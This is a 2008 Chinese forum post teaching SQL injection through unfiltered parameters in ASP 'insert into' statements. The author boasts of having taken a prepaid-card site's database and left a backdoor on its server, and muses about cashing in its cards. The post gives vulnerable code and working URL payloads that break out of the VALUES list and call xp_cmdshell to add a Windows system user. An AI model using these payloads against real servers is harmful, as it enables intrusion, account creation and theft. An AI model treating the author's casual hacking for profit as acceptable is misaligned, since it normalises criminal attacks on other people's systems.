罗鹤林 發表於 2008-10-8 19:38:01

巧用数据库insert Into进行入侵注入

刚才到了酷吧,坐在收银台旁边和收银的MM聊了几句话;

突然看到"电影影线"有张海报,上面写着:

凡是购买该站点卡密码最后一位数是6或7便可获赠面值5元的易卡一张;

我想,这个网站整个数据在我手里,我要是把那几十万张卡全拿去换钱不是发达了?

随即马上到他服务器把库拿下来,顺便在服务器上再留个后门;

在过程中有另一个想法便是本文的重要点;利用insert Into 进行注入。 <br />

=============================================

关于SQL注入,以前常用的或很多朋友所懂的也只不过是在select 语句中ID=变量未过产生的注入点,例如http://www.gzint.com/xxx.asp?id=1 ;exec master..xp_cmdshell &quot;net user xiaomo aa /add&quot;--

=============================================

我们可否利用insert Into Table的语句进行注入呢? <br />

这样的话,我们可以在某某有漏洞的网站上填写QQ或Email或地址的地方执行任何命令了哦. <br />

记得以前粗略地和&quot;乱刀&quot;讨论过,不过一直没有实际行动,刚才发现了一下,原来真的可以做到这一点。呵呵。举下例:

某个页面xiaomo.asp中有如下一句代码:

Conn.execute &quot;insert into admin (adminid,password,logintimes,usertype,level) values (&rsquo;1&rsquo;,&rsquo;1&rsquo;,&rsquo;1&rsquo;,&rsquo;1&rsquo;,&rsquo;&quot;&amp;Request(&quot;u&quot;)&amp;&quot;&rsquo;)&quot;



<br />

我们可以利用Request(&quot;U&quot;)未过滤的变量执行任意系统命令.

这段很简单,Request(&quot;U&quot;)在语句后面,直接提交:

http://localhost/xiaomo.asp?u=2&rsquo;);exec master..xp_cmdshell &quot;net user xiaomo aa /add&quot;--

<br />

便可添加一个xiaomo密码为aa的系统用户

因为构造的代码变成了:

Conn.execute &quot;insert into admin (adminid,password,logintimes,usertype,level) values (&rsquo;1&rsquo;,&rsquo;1&rsquo;,&rsquo;1&rsquo;,&rsquo;1&rsquo;,&rsquo;2&rsquo;);exec master..xp_cmdshell &quot;net user xiaomo aa /add&quot;--

<br />

当然理所当然地&quot;正确&quot;执行了。   

=============================================

我们换个思路,如果页面中的漏洞代码是:

Conn.execute &quot;insert into admin (adminid,password,logintimes,usertype,level) values (&rsquo;&quot;&amp;Request(&quot;u&quot;)&amp;&quot;&rsquo;,&rsquo;1&rsquo;,&rsquo;1&rsquo;,&rsquo;1&rsquo;,&rsquo;1&rsquo;)&quot;

<br />

Request(&quot;u&quot;)跑到前面去了,这该怎么办呢?

其实也很简单,变通一下即可,提交:

http://localhost/xiaomo.asp?u=3&rsquo;,&rsquo;1&rsquo;,&rsquo;1&rsquo;,&rsquo;1&rsquo;,&rsquo;1&rsquo;);exec master..xp_cmdshell &quot;net user xiaomo aa /add&quot;----

<br />

看出来了没?第一个变量代表了要写入的所有变量,而后面就不而而至了,哈哈。。

但有个问题是,我们必须得知道对方语句是怎么写,利在检查指定程序漏洞时所应用



<br />
頁: [1]
查看完整版本: 巧用数据库insert Into进行入侵注入